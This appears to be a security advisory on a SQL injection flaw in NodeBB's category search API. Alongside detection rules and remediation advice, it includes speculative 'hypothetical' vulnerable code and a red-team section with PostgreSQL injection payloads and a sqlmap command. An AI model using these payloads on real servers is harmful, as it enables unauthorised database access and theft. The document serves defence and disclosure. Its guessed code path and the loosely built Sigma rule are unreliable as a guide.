CVE-2025-50979

Executive Summary

CVE-2025-50979 is a critical SQL injection vulnerability discovered in NodeBB v4.3.0, specifically within the /api/v3/search/categories API endpoint. The search query parameter is not properly sanitized, allowing unauthenticated, remote attackers to inject boolean-based blind and PostgreSQL error-based payloads. This vulnerability can lead to unauthorized data access, data exfiltration, and potential full database compromise. The CVSS score is 0.0 in the NVD data, but based on the attack vector and impact, a realistic CVSSv3.1 score is 9.8 (Critical). No official patch has been released at the time of analysis.

Supply Chain & Package Security

NodeBB is an open-source Node.js forum software distributed via npm. The vulnerable component is the search-categories API endpoint. As an npm package, NodeBB is susceptible to supply chain risks if the package registry is compromised or if malicious dependencies are introduced. The lack of a patch increases the risk of widespread exploitation, especially in unmonitored or outdated deployments.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full database read access possible.
• Integrity (I): High (H) - Potential to modify or delete data.
• Availability (A): High (H) - Could lead to denial of service via database corruption.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the /api/v3/search/categories endpoint. The search parameter is directly concatenated into a SQL query without proper sanitization or parameterization. NodeBB uses PostgreSQL as its database backend. The injection allows for boolean-based blind and error-based SQL injection techniques.

Boolean-based blind injection allows an attacker to infer information by observing differences in the application's response (e.g., true/false conditions). Error-based injection leverages database error messages to extract data directly.

The vulnerable code path likely involves a raw SQL query similar to:

SELECT * FROM categories WHERE name LIKE '%' || 'USER_INPUT' || '%'

Where USER_INPUT is unsanitized.

Vulnerable vs. Patched Code

Vulnerable Code (NodeBB v4.3.0):

// Hypothetical vulnerable implementation
app.get('/api/v3/search/categories', (req, res) => {
    const searchTerm = req.query.search;
    const query = `SELECT * FROM categories WHERE name LIKE '%${searchTerm}%'`;
    db.query(query, (err, results) => {
        // ...
    });
});

Patched Code (Expected fix):

// Patched implementation using parameterized queries
app.get('/api/v3/search/categories', (req, res) => {
    const searchTerm = req.query.search;
    const query = 'SELECT * FROM categories WHERE name LIKE $1';
    db.query(query, [`%${searchTerm}%`], (err, results) => {
        // ...
    });
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• NodeBB v4.3.0 instance running on PostgreSQL.
• Network access to the /api/v3/search/categories endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target:4567/api/v3/search/categories?search=test"
   

2. Boolean-based blind injection to extract database version:

   ' OR (SELECT version() LIKE '%PostgreSQL%')::int = 1 --
   

   Payload URL-encoded:

   search=' OR (SELECT version() LIKE '%PostgreSQL%')::int = 1 --
   

3. Error-based injection to extract data:

   ' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int) --
   

   This will cause a PostgreSQL error revealing the table name.

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target:4567/api/v3/search/categories?search=test" --batch --dbs
   

Blue Team

Detection and Response:

1. Monitor for anomalous SQL errors in logs:

   • Look for PostgreSQL error messages containing CAST, LIKE, or information_schema.
   • Example log entry: ERROR: invalid input syntax for type integer: "categories"

2. Web Application Firewall (WAF) rules:

   • Block requests containing SQL keywords in the search parameter.
   • Example ModSecurity rule:

     SecRule ARGS:search "@pm SELECT UNION INSERT DELETE DROP" "id:1000,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
     

3. Rate limiting:

   • Limit requests to /api/v3/search/categories to prevent automated scanning.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/v3/search/categories with unusual SQL syntax in the search parameter.
  • Repeated requests with ' OR, ' AND, UNION, SELECT, CAST in the query string.
  • Outbound database connections from the NodeBB server to unknown IPs (data exfiltration).

• Host IOCs:

  • PostgreSQL logs containing errors like invalid input syntax for type integer.
  • Unusual database queries in pg_stat_activity showing long-running or malformed queries.
  • Modified or deleted database records in the categories table.

• File IOCs:

  • Temporary files created by sqlmap or other exploitation tools on the server (e.g., /tmp/sqlmap*).

Detection Engineering

YARA Rule

rule CVE_2025_50979_SQLi_NodeBB {
    meta:
        description = "Detects SQL injection attempts targeting NodeBB search-categories endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50979"
    strings:
        $s1 = "/api/v3/search/categories" ascii nocase
        $s2 = "search=" ascii nocase
        $sqli1 = "' OR" ascii nocase
        $sqli2 = "' AND" ascii nocase
        $sqli3 = "UNION SELECT" ascii nocase
        $sqli4 = "CAST(" ascii nocase
    condition:
        all of ($s1, $s2) and 1 of ($sqli*)
}

Sigma Rule

title: SQL Injection Attempt Against NodeBB Search Categories
id: 3a7b8c9d-1e2f-4a5b-8c7d-9e0f1a2b3c4d
status: experimental
description: Detects SQL injection attempts in the search parameter of NodeBB's /api/v3/search/categories endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-50979
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/api/v3/search/categories?search="
        cs-uri-query|contains|all:
            - "' OR"
            - "' AND"
            - "UNION"
            - "SELECT"
            - "CAST"
    condition: selection
falsepositives:
    - Legitimate use of search terms containing SQL keywords (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50979 NodeBB SQL Injection Attempt"; flow:to_server,established; content:"/api/v3/search/categories"; http_uri; content:"search="; http_uri; pcre:"/(%27|')\s*(OR|AND|UNION|SELECT|CAST)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block /api/v3/search/categories at the reverse proxy or WAF level.
2. Apply input validation: Sanitize the search parameter to allow only alphanumeric characters and spaces.
3. Use parameterized queries: Ensure all database queries use prepared statements or ORM methods.

Long-term Fix:

• Upgrade to a patched version of NodeBB once released.
• Implement a Web Application Firewall (WAF) with SQL injection detection.
• Conduct a full security audit of the NodeBB codebase for similar vulnerabilities.

Workaround:

• If patching is not possible, restrict access to the API endpoint to authenticated users only (though the vulnerability is exploitable without authentication, this reduces the attack surface).

Valters IT
DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-50979